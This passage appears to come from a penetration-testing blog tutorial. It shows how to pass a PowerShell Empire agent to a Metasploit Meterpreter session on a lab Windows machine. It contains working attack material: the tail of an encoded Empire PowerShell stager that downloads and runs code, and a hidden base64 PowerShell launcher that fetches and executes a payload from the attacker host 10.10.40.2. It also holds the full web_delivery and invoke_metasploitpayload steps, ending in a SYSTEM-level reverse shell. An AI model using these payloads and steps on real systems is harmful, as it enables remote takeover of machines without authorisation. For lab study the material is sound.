AewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAFUATgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAEIAWABPAHIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQANwBBADYARQBkAC4ASABFAEEARABFAHIAUwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBDAEcAUABSAGcAYwBmAHgAcgBMAE0ASABKAFcAQwA9AGwAVgB3AEQAVQBHAGIASAB1AFQAcQBzAHkAdQBXAHkASQBKAC8AZgBVAFQAeQAxAEoAcwBVAD0AIgApADsAJABEAGEAVABBAD0AJAA3AGEANgBFAEQALgBEAG8AdwBOAGwAbwBhAGQARABhAFQAQQAoACQAcwBlAHIAKwAkAHQAKQA7ACQAaQB2AD0AJABkAEEAVABhAFsAMAAuAC4AMwBdADsAJABkAGEAVABBAD0AJABkAGEAdABBAFsANAAuAC4AJABEAGEAdABhAC4AbABlAE4ARwB0AEgAXQA7AC0AagBPAGkATgBbAEMAaABhAHIAWwBdAF0AKAAmACAAJABSACAAJABEAGEAVABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=Agents
As you can see, our target machine checked in.
[+] New agent TNLVKR42 checked in
[*] Sending agent (stage 2) to TNLVKR42 at 10.3.18.218
(Empire: usestager/multi/launcher) >To list all active agents, type the command agents.
(Empire: usestager/multi/launcher) > agents
┌Agents──────────┬────────────┬─────────────┬──────────────────┬────────────┬─────┬───────┬─────────────────────────┬──────────┐
│ ID │ Name │ Language │ Internal IP │ Username │ Process │ PID │ Delay │ Last Seen │ Listener │
├────┼───────────┼────────────┼─────────────┼──────────────────┼────────────┼─────┼───────┼─────────────────────────┼──────────┤
│ 1 │ TNLVKR42* │ powershell │ 10.3.18.218 │ WORKGROUP\SYSTEM │ powershell │ 932 │ 5/0.0 │ 2025-01-19 00:09:18 IST │ http │
│ │ │ │ │ │ │ │ │ (3 seconds ago) │ │
└────┴───────────┴────────────┴─────────────┴──────────────────┴────────────┴─────┴───────┴─────────────────────────┴──────────┘
(Empire: agents) >In this case, there is only one machine. To connect to this machine, use the interact command.
(Empire: agents) > interact TNLVKR42
(Empire: TNLVKR42) >Metasploit
Since the objective is to get a Meterpreter shell, we need to use Metasploit. Before launching Metasploit, it is usually a good idea to start PostgreSQL. Though it is not necessary every single time. For completeness’ sake, we’re going to do it here.
Want to learn more about Metasploit?
Metasploit – The Penetration Tester’s Guide, 2nd Edition
Starting PostgreSQL
Here’s the command to start PostgreSQL.
root@kali:~# /etc/init.d/postgresql start
Starting PostgreSQL 14 database server: main.
root@kali:~#Starting Metasploit
Now, let’s start Metasploit.
root@kali:~# msfconsole -q
msf6 >Web Delivery
We’ll use the web delivery module for delivering our payload.
msf6 > search web_delivery
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/postgres/postgres_copy_from_program_cmd_exec 2019-03-20 excellent Yes PostgreSQL COPY FROM PROGRAM Command Execution
1 exploit/multi/script/web_delivery 2013-07-19 manual No Script Web Delivery
Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/script/web_delivery
msf6 > use 1
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > Options
To see module’s options, use the options command. Unless you know the module by heart, it’s always a good idea to know the required options.
msf6 exploit(multi/script/web_delivery) > options
Module options (exploit/multi/script/web_delivery):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0
.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Python
msf6 exploit(multi/script/web_delivery) >We have four options that we have to set, and they are SRVHOST, LHOST, PAYLOAD, and TARGET.
msf6 exploit(multi/script/web_delivery) > set srvhost 10.10.40.2
srvhost => 10.10.40.2
msf6 exploit(multi/script/web_delivery) > set lhost 10.10.40.2
lhost => 10.10.40.2
msf6 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set target 2
target => 2
msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.40.2:4444
msf6 exploit(multi/script/web_delivery) > [*] Using URL: http://10.10.40.2:8080/8b2wZ2nY
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABwAG0APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAcABtAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAcABtAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4ANAAwAC4AMgA6ADgAMAA4ADAALwA4AGIAMgB3AFoAMgBuAFkALwBWAFMAbQAzADUARQBUADkAVABHAHoAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADQAMAAuADIAOgA4ADAAOAAwAC8AOABiADIAdwBaADIAbgBZACcAKQApADsA
msf6 exploit(multi/script/web_delivery) >Now, we have the URL we need for the next step.
Modules
In order for us to perform actions against the target machine, we need to use Empire’s modules. Each module performs a specific function. In this case, we’re going to use invoke_metasploitpayload module.
(Empire: TNLVKR42) > usemodule powershell/code_execution/invoke_metasploitpayload
[*] Set Agent to TNLVKR42
Author @jaredhaight
Background False
Comments https://github.com/jaredhaight/Invoke-MetasploitPayload/
Description Spawns a new, hidden PowerShell window that downloadsand executes a
Metasploit payload. This relies on
theexploit/multi/scripts/web_delivery metasploit module.
Language powershell
Name powershell/code_execution/invoke_metasploitpayload
NeedsAdmin False
OpsecSafe True
Techniques http://attack.mitre.org/techniques/T1055
┌Record Options────┬──────────┬─────────────────────────────────────┐
│ Name │ Value │ Required │ Description │
├───────┼──────────┼──────────┼─────────────────────────────────────┤
│ Agent │ TNLVKR42 │ True │ Agent to run Metasploit payload on. │
├───────┼──────────┼──────────┼─────────────────────────────────────┤
│ URL │ │ True │ URL from the Metasploit │
│ │ │ │ web_delivery module │
└───────┴──────────┴──────────┴─────────────────────────────────────┘
(Empire: usemodule/powershell/code_execution/invoke_metasploitpayload) >
In this module, we need to set the URL found in the output when we executed Metasploit’s web delivery script.
(Empire: usemodule/powershell/code_execution/invoke_metasploitpayload) > set URL http://10.10.40.2:8080/8b2wZ2nY
[*] Set URL to http://10.10.40.2:8080/8b2wZ2nY
(Empire: usemodule/powershell/code_execution/invoke_metasploitpayload) > execute
[*] Tasked TNLVKR42 to run Task 1
(Empire: TNLVKR42) >Once Empire is done executing the task, we should see it on our Metasploit console that the target machine initiated a connection.
msf6 exploit(multi/script/web_delivery) >
[*] 10.3.18.218 web_delivery - Delivering Payload (3506 bytes)
[*] Sending stage (175174 bytes) to 10.3.18.218
[*] Meterpreter session 1 opened (10.10.40.2:4444 -> 10.3.18.218:49339 ) at 2025-01-19 00:21:02 +0530Sessions
Since the target machine successfully connected to our Metasploit server, we can now interact with the machine. To view the sessions, issue the sessions command.
msf6 exploit(multi/script/web_delivery) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN10 10.10.40.2:4444 -> 10.3.18.218:49339 (10.3.18.218)
msf6 exploit(multi/script/web_delivery) >Since this is a lab environment and we are only working on one target machine, we should only see one session. To interact with the target machine, issue sessions 1 command.
msf6 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...
meterpreter >Now, we have a Meterpreter session.
Final Words
I am new to PowerShell Empire, so this may be unnecessary. Since I am more familiar with Metasploit, I chose this route. I will eventually explore Empire’s capabilities in the future, but for now, this works. There might be a way to do this straight from Metasploit, but I have not encountered that module just yet. Metasploit is massive, and I am barely scratching the surface. Please feel free to let me know if you know of a way to do everything on Metasploit.
Disclosure
AndrewRoderos.com is a participant of a few referral programs, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to company websites.
BUY ME COFFEE
Did you find this content useful?
If so, show your appreciation by buying me a coffee!
